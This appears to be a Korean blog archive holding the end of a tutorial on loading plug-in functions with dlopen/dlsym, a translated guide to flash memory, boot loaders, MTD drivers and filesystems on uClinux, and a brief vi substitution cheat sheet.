이 프로그램을 실행하면 사용자의 입력을 기다리는 "> "가 뜨게 되고, 여기에 계산하기 원하는 값을 입력하면 된다. 현재는 '+'와 '-' 연산만을 지원하며, 연산자와 피연산자들 간에 간격이 없어야 한다. 다음은 실행결과 화면이다.
  
[root@localhost test]# ./print_sum_dl
> 99+99
my operator is      : +
my call function is : ysum
99 + 99 = 198
[root@localhost test]#
				
사용자가 프로그램을 실행하면 프로그램은 사용자의 입력을 받아들이고 sscanf 를 이용해서 연산자와 피연산자를 구분하게 된다. 그리고 피연산자를 값으로 하여, 설정파일에 설정된 라이브러리를 불러들이고(dlopen) 해당 함수를 가져와서(dlsym) 실행시키게 된다.

자 이렇게 해서 우리는 '+', '-' 연산이 가능한 프로그램을 하나 만들게 되었다. 그런데 A 라는 개발자가 '*','/' 연산도 있으면 좋겠다고 생각해서 아래와 같은 코드를 가지는 '*', '/' 연산을 위한 라이브러리를 제작하였다.

예제 : mymulti.h

int multi(int a, int b);
int div(int a, int b);
				
예제 : mymulti.c
int multi(int a, int b)
{
    return a * b;
}

int div(int a, int b)
{
    return a / b;
}
				

A 라는 개발자는 이것을 다음과 같이 공유라이브러리 형태로 만들어서 간단한 라이브러리의 설명과 함께 email 로 전송했다.

[root@localhost test]# gcc -c -fPIC mymulti.c
[root@localhost test]# gcc -shared -W1,-soname,libmymulti.so.1 -o libmymulti.so.1.0.1 mymulti.o
				

라이브러리를 받았으므로 새로운 라이브러리가 제대로 작동을 하는지 확인을 해보도록 하자. 우선 libmymulti.so.1.0.1 을 /usr/my/lib 로 복사하도록 하자. 그다음 설정파일에 다음과 같은 내용을 가지도록 변경 시키도록 하자.

 
+,ysum,libmystuff.so
-,ydiff,libmystuff.so
*,ymulti,libmymulti.so.1.0.1
/,ydiv,libmymulti.so.1.0.1
				
이제 print_sum_dl 을 실행시켜보자.
[root@localhost test]# ./print_sum_dl
> 10*10
my operator is      : *
my call function is : ymulti
10 * 10 = 100

[root@localhost test]# ./print_sum_dl
> 10/10
my operator is      : /
my call function is : ydiv
10 / 10 = 1
				
print_sum_dl.c 의 원본파일의 아무런 수정없이 단지 설정파일만 변경시켜 줌으로써 기존의 print_sum_dl 에 "곱하기"와 "나누기"의 새로운 기능이 추가 되었다.

위에서도 말했듯이 이러한 Plug-in 비슷한 기능을 구현하기 위해서는 통일된 함수 API가 제공될수 있어야 한다.


4절. 결론

여기에 있는 내용중 동적라이브러리에 대한 내용은 솔라리스와 리눅스에서만 동일하게 사용할수 있다. Hp-Ux 혹은 윈도우에서는 사용가능하지 않는 방법이다. 이에 대한 몇가지 해법이 존재하는데, 이 내용은 나중에 시간이 되면 다루도록 하겠다. 어쨋든 솔라리스와 리눅스 상에서 코딩되고 윈도우 혹은 다른 유닉스로 포팅될 프로그램이 아니라면 위의 방법을 사용하는데 있어서 문제가 없을것이다.

출처 : http://joinc.co.kr

2005. 9. 26. 11:01
uClinux 상에서 플래시 메모리 사용하기



저자: Greg Ungerer gerg_at_snapgear.com
번역: 김남형 namhyung_at_gmail.com



1 소개
2 플래시 메모리
3 시스템
4 부트 로더의 사용 여부
5 uClinux 커널의 블럭 디바이스 드라이버
6 루트 파일 시스템
7 플래시 메모리를 위한 도구들
8 예제
9 참고 문헌




1 소개 #
이 문서는 플래시 메모리를 사용하여 부팅하고 동작하는 uClinux 시스템을 구축하는 이론과 방법에 대해서 설명한다. 이 문서의 대부분은 프로세서에 독립적이다.



먼저 플래시 메모리에 대해서 간략히 소개하고 uClinux 시스템의 여러 요소들을 플래시 메모리 상에 올릴 수 있는 여러 방법들을 설명할 것이다. 그리고는 커널 드라이버 설정과 루트 파일 시스템의 선택에 대한 부분을 설명하도록 하겠다.



비록 플래시 메모리를 사용하는 것에 초점을 두었지만, 대부분의 아이디어는 ROM 에도 동일하게 적용될 수 있다. You just won't have the ability to update it in circuit, or to run read/write filesystem with standard ROM devices.



여기서는 상세한 부분까지 살펴볼 수 있도록 실제로 사용될 수 있는 예제를 가지고 설명할 것이다. 이 문서를 읽은 후에는 플래시 메모리의 장점을 활용한 uClinux 시스템을 빌드하는 방법을 이해하고 그에 따른 여러가지 선택의 문제와 각각의 장단점을 이해할 수 있길 기대한다.




2 플래시 메모리 #
지난 20년간, ROM (그리고 EPROM) 이 임베디드 시스템에서 사용되는 비휘발성 메모리의 중심이었다. 하지만 최근의 임베디드 시스템에서는 플래시 메모리가 주로 사용된다.



플래시 메모리는 기본적으로 NOR 와 NAND (그 외에도 AND 와 같은 변종이 존재하지만 여기서는 다루지 않겠다)의 두가지 종류가 있다.



NOR 플래시를 읽는 것은 기본적으로 SRAM 을 읽는 것과 동일하므로 모든 주소 공간에 접근할 수 있고, 임의의 영역의 값을 읽어올 수 있다. 또한 NOR 플래시의 코드를 직접 실행시킬 수도 있다 (Execute-In-Place 혹은 XIP 라고 한다). 내 생각으로는 이러한 기능 때문에 작은 임베디드 시스템에서 NOR 플래시가 주로 사용되는 것 같다. 모든 코드는 잠재적으로 플래시 메모리 상에서 직접 실행될 수 있기 때문에 RAM 사용량을 줄일 수 있다. NOR 플래시를 생산하는 업체는 삼성, Intel, AMD, Fujitsu, Toshiba 등이 있다. NOR 플래시 메모리의 용량은 일반적으로 수십 KB 에서 64MB 까지이다.



일반적으로 NAND 플래시는 블럭 단위로 읽으므로 일반적인 RAM 과는 다르다. 그보다 512 단위의 블럭 크기를 가지는 하드 드라이브와 비슷하다. NAND 플래시는 비트 단위로 조작하기가 쉽지만? (cheaper), 비트 단위로 조작하는 것은 에러가 발생할 확률이 높기 때문에 소프트웨어적으로 배드 블럭을 처리해야 한다. NAND 플래시에서는 직접 코드를 실행할 수 없다. NAND 플래시를 이용한 장치 중의 흥미로운 것은 M-System 의 ?DiskOnChip 장치이다. 이 장치는 내부적으로 NAND 플래시를 이용하고 에러 인식 및 수정을 위한 로직을 포함하며 외부 CPU 접근을 용이하게 하였다. 이름 때문에 혼란스러워 하지 않길 바란다. 이 장치의 인터페이스는 일반 하드 디스크 드라이브와 다르지 않다. NAND 플래시를 생산하는 업체는 삼성, Toshiba 으로 이들은 M-System 의 ?DiskOnChip 장치의 NAND 플래시도 공급한다. NAND 플래시 메모리의 용량은 일반적으로 8MB 에서 1GB 까지이다.



플래시 메모리에 데이터를 쓰는 것은 일반적은 RAM 에 쓰는 것과는 다르다. NOR 와 NAND 플래시 모두 데이터를 쓰기전에 적절한 처리를 하는 과정이 필요하다. 쓰기 작업은 대부분 먼저 플래시 메모리의 특정 부분을 삭제하는 과정을 포함한다.



모든 플래시 메모리는 블럭 혹은 세그먼트 (좀더 정확히 말하면 삭제 세그먼트 (erase segment)) 라는 형식으로 구성된다. 이것은 플래시 메모리의 내용을 지울 수 있는 최소 단위이다. 단순히 한 바이트 혹은 몇 바이트의 데이터만을 지울 수는 없다. 블럭의 크기는 장치에 따라 다르다. 일반적인 크기는 16KB 나 128KB 이다. 삭제 연산은 플래시 메모리 블럭 내의 모든 비트의 값을 "1" 로 만든다.



데이터를 쓰는 작업은 실제로 각 비트의 값을 "0" 으로 바꾸던지 아니면 그대로 "1" 로 두는 일을 한다. 그래서 기본적으로는 원하는 모든 곳에 쓰기 연산을 수행할 수는 있다고 해도 삭제 연산을 수행하지 않고 "0" 값을 가지는 비트를 "1" 로 쓸 수는 없다.



따라서 일반적으로 플래시 메모리의 내용을 바꾸고 싶은 경우에는 먼저 삭제 연산을 수행한 후에 쓰기 연산을 수행한다. 여기에는 한가지 고려해야 할 사항이 있다. 이것은 플래시 메모리 파일 시스템의 읽기/쓰기 연산을 수행하는 경우에 볼 수 있다.



플래시 메모리의 수명은 일반적으로 삭제 연산이 수행된 횟수로 계산한다. 정확한 수는 장치에 따라 다르지만 일반적으로 10,000 번에서 1,000,000 사이의 값을 가진다. 실제로 플래시 메모리 블럭에 얼마나 자주 삭제/쓰기 연산이 수행되는지 주의깊은 관심을 기울일 필요가 있다. 이것은 플래시 메모리 상에 읽기/쓰기 연산을 지원하는 파일 시스템을 올린 경우에는 특히 중요하다.



여기서는 주로 NOR 플래시에 대해 다루도록 하겠다. NOR 플래시는 작은 시스템에서 많이 사용되며 uClinux 시스템에서 주로 이용되는 플래시 메모리이기 때문이다.




3 시스템 #
임베디드 시스템내에 포함되는 플래시와 RAM 의 용량에는 언제나 trade-off 가 있다. 주로 가격을 먼저 고려하게 되는데, 일반적으로 플래시 메모리가 RAM 보다 비싸다. 마지막으로는 시스템의 세부적인 요구사항에 따른 메모리의 크기가 결정된다.



플래시 메모리는 시스템의 코드와 데이터를 저장하고 전원이 켜졌을 때 시스템이 수행되는 장치이고 uClinux 의 장치들이 파일을 저장하는 주 저장 장치이다.



아주 간단한 방식으로, 프로세서가 시작되는 위치에 uClinux 의 시작 코드를 저장해 두고 플래시 메모리를 하나의 커다란 저장 공간으로서 사용할 수 있다.



다른 방식으로는, 플래시 메모리를 분리된 영역의 파티션으로 나누는 것이 편리할 수 있다. 이것은 디스크 드라이브 파티션의 개념과 동일하지만 더 단순하고 작은 크기를 가진다. 일반적인 플래시 메모리의 파티션은 다음과 같다:



블럭      용도

  0     부트 로더
  1     공장 설정값 (factory configuration)
  2
  .
  .     커널
  .
  X
  .
  .     루트 파일시스템
  .
  Y




위에서는 0 번 블럭에 부트 로더 코드를 넣고, 1번 블럭에는 공장 설정값 (이더넷 MAC 주소값 혹은 커널 명령행 옵션 등) 이 있으며, 2번 블럭부터 X번 블럭 까지는 커널 코드를, 마지막으로 X번 블럭 다음부터 Y번 블럭까지 루트 파일 시스템을 올렸다.



이것은 매우 단순한 예제이다. 시스템에서 필요한 경우에는 당연히 보다 복잡한 파티션으로 나누어 질 수 있다. 뒤에서 살펴보겠지만 플래시 메모리를 지원하는 uClinux 의 블럭 디바이스는 이러한 파티셔닝의 개념을 지원한다. Note that the partitions are always a whole number of Flash segments. You really want to do it this way since you can only erase an entire segment at a time.



또한 위의 예제에서는 커널과 루트 파일 시스템을 다른 파티션으로 분리하였다. 이것은 일반적인 리눅스의 설정 방식이 아니다. 일반적으로는 리눅스 커널은 루트 파일 시스템 내에 일반 실행 파일의 형태로 존재한다. 이 방법의 문제점은 (LILO 나 GRUB 과 같은) 똑똑한 부트 로더 프로그램이 필요하다는 것이다. 이러한 부트 로더 프로그램은 (커널 이미지를 포함하는) 하드 디스크 블럭을 RAM 상에 로드하는 일을 수행한다. 커널 이미지를 플래시 메모리 상의 연속적인 공간에 저장하는 것은 두가지 장점을 가진다. 하나는 플래시 메모리 상에서 바로 실행시킬 수 있다는 것이고 (XIP), 다른 하나는 부트 로더가 단순해 진다는 것이다 (심지어 부트 로더가 필요 없을 수도 있다).



커널과 루트 파일 시스템을 배치하는 몇가지 방법이 있다. 최선의 방법을 선택하는 데에는 여러가지 trade-off 가 존재한다. 여기에서는 가장 일반적인 몇가지 방법을 살펴보면서 각각의 장단점에 대해 알아보도록 하자.



커널과 루트 파일 시스템 모두 고정된 시작 주소를 가지는 방법
b. 커널의 마지막 부분에 이어서 루트 파일 시스템이 시작되는 방법
c. 커널과 루트 파일 시스템을 압축하는 방법

(a) 방법은 시스템의 요소들이 고정된 주소에 위치한다는 장점을 가진다. 부트 로더는 커널을 찾기 쉽고, 커널은 루트 파일 시스템을 찾기 쉽다. 또한 커널과 루트 파일 시스템이 서로 독립적으로 업그레이드 되기 쉽다는 장점이 있다. 이 방법의 단점은 커널 이미지와 루트 파일 시스템 사이에 공간이 낭비된다는 것이다.



(b) 방법은 루트 파일 시스템을 독립적인 파티션으로 분리하지 않았기 때문에 공간적인 측면에서 장점을 가진다. 또한 uClinux 시스템에서는 커널 이미지와 루트 파일 시스템을 하나의 파일로 묶는 것이 일반적이다. 이것은 곧 커널과 루트 파일 시스템을 동시에 업그레이드 해야 한다는 것을 의미한다 (종종 이것이 더 좋을 수도 있다).



(c) 방법은 커널과 루트 파일 시스템을 압축해서 저장하므로 플래시 메모리의 공간을 많이 절약할 수 있다. 이 방법을 사용하기 위해서는 압축된 이미지를 RAM 상에 풀 수 있는 부트 로더가 필요하다. 때문에 이 방법은 더 많은 RAM 영역을 차지하지만 다른 방법들에 비해서 많은 플래시 메모리 공간을 절약할 수 있다. 물론 상황에 따라 커널이나 루트 파일 시스템 중의 하나 만을 압축하는 방법도 사용할 수 있다.



여러 개의 파일 시스템 파티션도 물론 가질 수 있다. 이것은 파일 시스템의 일부분을 자주 변경하게 되는 경우나 파티션을 구분하여 읽기/쓰기 권한을 주려고 하는 경우에 유용하다.




4 부트 로더의 사용 여부 #
부팅 시에 가장 먼저 고려해야 할 것은 CPU 마다 다르다. 전원이 켜지면 프로세서는 어디서부터 실행을 시작할까? (ARM 이나 x86 과 같은) 많은 CPU 들은 고정된 시작 주소를 가진다. (m68k 나 Coldfire 에서 사용되는) 또 다른 방식으로는 고정된 주소의 값을 읽어서 그 값을 시작 주소로 사용하기도 한다. 이것은 시스템 시작 코드를 플래시 메모리 상에 집어넣어야 하는 경우에 직접적인 영향을 미친다.



이 시점에서 부트 로더 프로그램을 사용할 지 아니면 직접 uClinux 커널을 시작할 지 고려해 볼 필요가 있다.



CPU 가 (부트 로더를 거치지 않고) 직접 커널 코드에서부터 실행을 시작해도 아무런 문제가 없다. uClinux 시작 코드는 (보통 CPU 칩에 대한 설정과 RAM 설정 등을 포함하는) 모든 하드웨어 설정 작업과 커널의 데이터 영역을 RAM 에 로드하는 일과 BSS 영역을 초기화 하는 일을 수행해야 한다. 하지만 이러한 작업들은 매우 직관적이다. 이 방법의 유일한 문제점은 리셋이 되었을 때 CPU 가 다시 적절히 수행될 수 있도록 커널 코드를 적절한 위치에 배치해야 한다는 점이다. 최근의 대부분의 CPU 들은 주소 0 에서 실행을 시작하거나 0번 근처에 시작 주소를 가지고 있으므로, 이 작업이 간편해 진다.



부트 로더는 (CPU 와 RAM 설정 등의) 기본적인 하드웨어 설정 작업과 uClinux 커널을 적절한 위치에 로드하거나 직접 실행시키는 일을 수행하는 작은 독립적인 (stand-alone) 프로그램이다. 부트 로더에서 몇가지 유용한 작업을 수행하게 할 수도 있다. 사용자에게 플래시 메모리 상에 있는 여러 개의 커널 중에서 어느 것을 사용할 것인지 물어볼 수도 있고, (시리얼 포트나 이더넷 포트와 같은) 다른 I/O 장치를 통해 커널과 루트 파일 시스템을 로드할 수도 있다.



부트 로더에서 잘못된 커널 이미지의 실행을 막는 기본적인 보호 수단을 제공할 수도 있다. 이 기능은 플래시 메모리 상에서 동작할 때 특히 유용한데, 플래시 메모리에서는 (전원 문제 등으로 인해) 커널이나 중요 부분을 업데이트 하는 과정에서 오류가 일어날 수 있고 더 나쁜 경우는 이러한 버그가 있는 코드를 로드해 버릴 수도 있다. 부트 로더는 플래시 메모리 상에 영구적으로 고정되어 있을 수 있으므로 이러한 상황에 대처하는 기능을 제공할 수 있다.



현재 uClinux 에서 사용되는 부트 로더는 여러 가지가 있다. 무료로 사용할 수 있는 부트 로더에는 ?CoLilo, My Right Boot (MRB), ?PPCboot, Motorola dBUG 등이 있다. ?SnapGear 와 Arcturus Networks 같은 회사는 특정한 작업을 수행하는 고유한 부트 로더를 가지고 있다.




5 uClinux 커널의 블럭 디바이스 드라이버 #
현재 uClinux 의 루트 파일 시스템을 포함하는 블럭 디바이스는 아래와 같은 3 종류가 있다:



Blkmem 드라이버
MTD 드라이버
RAM disk 드라이버

blkmem 드라이버는 오래되었지만 여전히 uClinux 에서 가장 많이 사용되고 있다. 이 드라이버는 uClinux 를 위해 고안된 것이지만, 작은 크기의 NOR 플래시와 RAM 상의 루트 파일 시스템 만을 지원한다. 또한 설정하기가 어렵고 파티셔닝을 위해서 테이블 설정에 대한 코드를 변경해야 한다. 하지만 플래시 메모리 상의 특정 영역에 대한 기본적인 쓰기/삭제 연산을 제공한다.



MTD 드라이버는 리눅스의 표준 플래시 메모리 드라이버이다. 이 드라이버는 다양한 플래시 장치를 지원하고 파티셔닝에 대한 강력한 기능을 제공한다. 좀더 복잡한 설정을 위해서 플래시 메모리의 레이아웃을 정의하는 맵 드라이버를 생성한다. 이를 이용해 여러개의 플래시 메모리를 (인터리빙 방식으로) 연결할 수 있으며 심지어 시스템 내의 다른 종류의 플래시 메모리를 연결하는 것도 가능하다. 리눅스 커널에는 MTD 설정을 위한 여러 가지 옵션이 존재한다. 온라인 도움말을 통해 어떤 옵션들이 필요한 지 알아볼 수 있다. 처음에는 MTD 드라이버를 사용하는 장치들을 살펴보는 것이 도움이 될 것이다.



세번째로 리눅스의 RAM disk 드라이버를 사용할 수 있다. 이 드라이버는 주로 디스크 없이 리눅스 시스템을 부팅하고자 할 때 사용된다. RAM disk 드라이버는 플래시 메모리에 대한 어떠한 기능도 제공하지 않으므로 단지 루트 파일 시스템을 유지(holding)할 목적으로만 사용된다. 이 방법은 루트 파일 시스템을 플래시 메모리 상에 압축해서 저장하는 경우에 유용하다.



MTD 드라이버는 플래시 메모리를 위한 강력한 기능을 제공한다. 이것을 이용하면 플래시 메모리를 위해 특별히 고안된 JFFS, ?JFFS2 와 같은 실제 (read/write 가 가능한) 파일 시스템을 사용할 수 있다. blkmem 드라이버로는 불가능하다.




6 루트 파일 시스템 #
uClinux 에서 사용되는 루트 파일 시스템은 여러 가지가 있다.



일반적으로 ?ROMfs 타입이 가장 많이 쓰인다. 이것은 작고 단순한 읽기 전용 파일 시스템이다. ?ROMfs 는 파일의 모든 데이터를 순차적으로 저장하기 때문에 (m68k, ?ColdFire, ARM 과 같이) XIP 를 지원하는 CPU 에서 ?ROMfs 파일 시스템 내의 실행 파일을 직접 실행시킬 수 있다. 이 기능은 시스템 실행 중에 메모리의 사용량을 대폭 감소시킬 수 있다.



Cramfs 는 리눅스 커널 2.4 에서 새롭게 선보인 파일 시스템이다. Cramfs 는 작은 크기의 읽기 전용 파일 시스템으로 설계되었다. Cramfs 의 최대 장점은 모든 파일들이 압축된 형태로 저장되며 실행 중에 그 파일들이 압축 해제된다는 것이다. 파일들이 압축되어 있기 때문에 응용 프로그램이 XIP 로 동작하지 못한다. 이 방법은 플래시 메모리의 사용량을 감소시키지만 프로그램이 실행되기 위해선 RAM 에 복사되어야 하므로 더 많은 RAM 이 필요하게 된다.



시스템에 따라 읽기 전용이 아닌 읽기/쓰기가 가능한 파일 시스템이 필요할 수 있다. 리눅스 MTD 드라이버를 사용하면 플래시 메모리 상에서 JFFS 나 ?JFFS2 와 같은 저널링 파일 시스템을 이용할 수 있다. 저널링 파일 시스템은 (시스템이 적절히 셧다운 되지 않았을 때의 같이) 갑작스럽게 전원이 끊긴 상황에서도 안전하며, 다음번 부팅때 파일 시스템을 체크하지 않아도 된다. JFFS 와 ?JFFS2 는 특별히 플래시 메모리에서 사용하기 위해 설계되었기 때문에 wear leveling 이라고 하는 기능을 제공한다. 이것은 파일 시스템 내의 모든 데이터를 기록하거나 업데이트 할 때 플래시 메모리의 모든 영역이 골고루 사용되도록 (모든 블럭에 비슷한 수의 삭제 연산이 수행되도록) 한다. 이 기능은 플래시 메모리의 수명을 비약적으로 향상시켜 준다. ?JFFS2 는 파일을 압축시켜서 저장하기 때문에 더 적은 공간을 차지한다는 장점도 가지고 있다. 그래서 이전 버전인 JFFS 보다 더 많이 사용된다. 이러한 저널링 파일 시스템을 사용할 때 고려해야 할 또 한가지 사항은 저널링과 가비지 컬렉션 시스템에 의해 약간의 영역이 소비된다는 점이다. 일반적으로 이 크기는 2 블럭 정도?이다 (This wasted space is typically of the order of 2 Flash segments in size).



만약 RAM 디스크를 사용한다면 Ext2 파일 시스템을 쓰는 것이 일반적이다. 이것은 uClinux 에서도 마찬가지이다. Ext2 파일 시스템은 공간적인 측면에서 특별히 효율적이지는 않다. 또한 RAM 디스크에서 수정한 사항은 저장되지 않으므로 다음번 부팅 때 찾아볼 수 없다 (어떤 사람들은 이러한 특징으로 인해 시작시에 항상 파일 시스템의 상태를 알 수 있으므로 임베디드 시스템에서 더 좋을 수도 있다고 한다).



이 밖에도 사용할 수 있는 몇가지 파일 시스템이 더 존재한다. 리눅스에는 많은 수의 파일 시스템이 사용 가능하다. 하지만 위에서 말한 파일 시스템들이 uClinux 에서 주로 사용되는 것들이다. 원한다면 MS-DOS 의 FAT 파일 시스템도 사용할 수 있다.



한가지 더 말하자면, 루트 파일 시스템은 uClinux 상에서 사용될 수 있도록 구성되어야 한다. 보통 임베디드 장치에서 사용될 루트 파일 시스템은 개발 호스트에서 구성된 후에 타겟에 로드된다. 일반적으로 호스트 상에서 타겟에 올라갈 최종 루트 파일 시스템의 디렉토리 트리를 구성한 후에 호스트 기반의 툴을 사용하여 이진 파일 시스템 이미지를 만든다. genromfs 라는 프로그램이 대표적인 예이다. 이 프로그램은 호스트 상의 주어진 디렉토리를 ?ROMfs 이미지 파일로 구성한다. 다른 파일 시스템에 대해서도 비슷한 프로그램이 존재한다 (JFFS 는 mkfs.jffs, CD 이미지(?ISO9660)는 mkisofs 라는 프로그램이 담당한다).




7 플래시 메모리를 위한 도구들 #
uClinux 상에서 플래시 메모리를 다루기 위해 응용 프로그램 수준에서 다룰 수 있는 몇가지 프로그램이 존재한다. 이 중 몇몇은 사용하고 있는 블럭 디바이스 드라이버에 종속적이다.



MTD 드라이버와 함께 사용할 수 있는 것들은 다음과 같다:



  erase      -- 특정 블럭에 삭제 연산 수행
  eraseall   -- 모든 블럭에 삭제 연산 수행
  lock       -- 특정 블럭을 쓰기 연산을 위해 잠금
  unlock     -- 특정 블럭에 대해 쓰기 연산 잠금 해제
  mkfs.jffs  -- 주어진 디렉토리에 대한 JFFS 파일 시스템 구성
  mkfs.jffs2 -- 주어진 디렉토리에 대한 JFFS2 파일 시스템 구성




erase, eraseall, lock, unlock 프로그램은 모두 MTD 파티션 내의 타겟 장치에서 사용된다. mkfs.jffs 와 mkfs.jffs2 는 일반적으로 호스트 시스템 상에서 타겟 장치의 플래시 메모리에 로드될 파일 시스템 이미지를 구성하는데 사용된다. MTD 드라이버는 타겟 장치에 대한 기본적인 문자 장치와 블럭 장치를 제공하므로 dd 와 같은 시스템 툴을 사용하여 특정한 내용을 플래시 메모리에 기록할 수 있다.



netflash 는 uClinux 를 위해 개발된 툴로서, MTD 드라이버나 blkmem 드라이버에서 모두 다 사용된다. netflash 는 주어진 파일을 플래시 메모리에 기록한다 (물론 삭제 연산을 먼저 수행한다). netflash 는 시스템 상의 로컬 파일 뿐 아니라 (tftp, httpd, NFS 등을 이용해) 네트워크를 통해 파일을 받아서 플래시 메모리에 기록할 수도 있다.




8 예제 #
이제 지금까지 논의한 여러가지 세부적인 사항들을 점검해 보기위해 실제로 사용되고 있는 예제를 하나 살펴보기로 하자. 예제 시스템은 ?ColdFire 5272 프로세서에 AMD 의 2Mb 플래시 메모리와 4Mb SDRAM 이 장착되어 있다 (참고로, 이것은 ?SnapGear 사의 LITE VPN router product 이다).



시스템에는 uClinux 2.4.x 커널이 사용되었고, 플래시 메모리를 위해 MTD 드라이버를 사용한다. 여기서는 읽기/쓰기가 가능한 파일 시스템이 필요치 않으므로 대신에 ?ROMfs 를 사용하기로 한다.



시스템에 사용된 AMD 플래시 메모리는 "bottom boot" 타입이다. 아래쪽의 주소 공간에는 각각 16KB, 8KB, 8KB, 32KB 의 크기를 가지는 작은 삭제 블럭들이 있다. 나머지 블럭은 모두 64KB 로 동일하다.



플래시 메모리의 파티션 맵은 아래와 같은 형태가 된다:







그리고 MTD 드라이버는 Toshiba 플래시 메모리를 인식하고 우리가 원하는 매핑에 따라 파티션을 분할해 준다. MTD 드라이버는 디버그 정보의 레벨을 조정할 수 있는 옵션을 가지며 이것은 커널 설정에서 정해줄 수 있다. 이 값을 높이면 장치 검색 과정에 대한 많은 정보를 제공하며 검색된 플래시 메모리에 대한 더 자세한 정보를 얻을 수 있다.



초기의 검색 메시지로부터 플래시 메모리가 CPU 주소 공간의 0xf0000000 매핑된다는 것을 알 수 있다. 이 주소값은 매핑 드라이버에 설정된다 (nettel-uc.c).



실제로 커널과 파일 시스템 이미지는 netflash 프로그램을 통해 업데이트 된다. 명령행 옵션은 간단히 표현하자면 다음과 같다:



netflash <서버 IP> imagez.bin




서버 IP에 이미지를 제공할 tftp 서버의 주소를 써 넣으면 netflash 프로그램이 나머지 일을 다 처리해 주고 완료된 경우 시스템을 리부팅한다 (루트 파일시스템이 플래시 메모리에서 커널 바로 뒤에 배치되어 있을 때 필요한 과정이다).




9 참고 문헌 #
다음 URL 을 참고하기 바란다:



http://www.uclinux.org : uClinux 홈페이지
http://www.linux-mtd.infradead.org : 리눅스 MTD 드라이버 홈페이지
http://www.ucdot.org : uClinux 관련 뉴스, 현재의 진행 사항 등 소개

관련된 SnapGear 의 기술 문서 #16 New Linux MTD driver support for the M-Systems Millennium Plus family of DiskOnChip flash devices(http://www.cyberguard.info/snapgear/tb20030402.html) 도 살펴보도록 하자.
2005. 8. 23. 08:28

[범위]/s/[target pattern]/[replacing pattern]/[옵션] [카운트]


옵션
c : 치환전 확인
g : 글로벌 치환
p : 치환된 마지막 라인 출력

예제
:1,10s/yes/no/g 처음 10행 치환
:%s/[Hh]ello/Hi/gc 치환 확인 물음
:s/Fortran/\U&/ 3 다음 3행의 "Fortran"을 대문자로 치환
:g/^[0-9][0-9]*/s//Line &:/ 숫자가 있는 모든라인에 Line: 추가

----------------------
[vi] 파일 오가며 편집하기
----------------------
:e#

"f4yy → :w → :e other_file → "fp
:f 버퍼에 4라인 복사후 붙이기
"F6yy
:f 버퍼에 6라인 추가